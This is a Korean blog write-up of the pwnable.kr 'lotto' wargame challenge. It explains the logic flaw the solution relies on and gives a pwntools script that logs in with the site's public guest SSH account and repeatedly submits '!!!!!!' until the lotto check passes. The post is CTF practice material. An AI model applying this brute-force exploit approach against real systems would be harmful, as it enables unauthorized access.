hOwDayS 선린 10720

pwnable.kr lotto 본문

공부/pwnable.kr

pwnable.kr lotto

hOwDayS 2018. 1. 11. 00:27


lotto 1~32까지의 아스키코드 값은 보통 사용 을안해서 33인 !부터 된다.

!표를 6개하면 바로 된다. 


파이썬으로 포너블은 거의 안해봐서 안해도 되는 걸 하고 있다..


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
 
def solve():
    p.sendline("1")
    p.recv()
    send_line = ''
    i=2
    while(1):
        send_line = "!!!!!!"
        p.sendline(send_line)
        data = p.recv().rstrip()
        print('['+str(i)+']  '+send_line)
        i+=1
        if "bad" in data:
            send_line =''
            p.sendline("1")
            p.recv()
        else:
            break
 
 
 
s = ssh("lotto","pwnable.kr",port=2222,password="guest")
p = s.run("./lotto")
p.recv()
solve()
p.interactive()
cs


'공부 > pwnable.kr' 카테고리의 다른 글

pwnable.kr simplelogin  (0) 2018.01.20
pwnable.kr brainfuck  (2) 2018.01.20
pwnable asm  (0) 2018.01.12
pwnable uaf  (0) 2018.01.11
pwnable.kr coin1  (0) 2018.01.10
Comments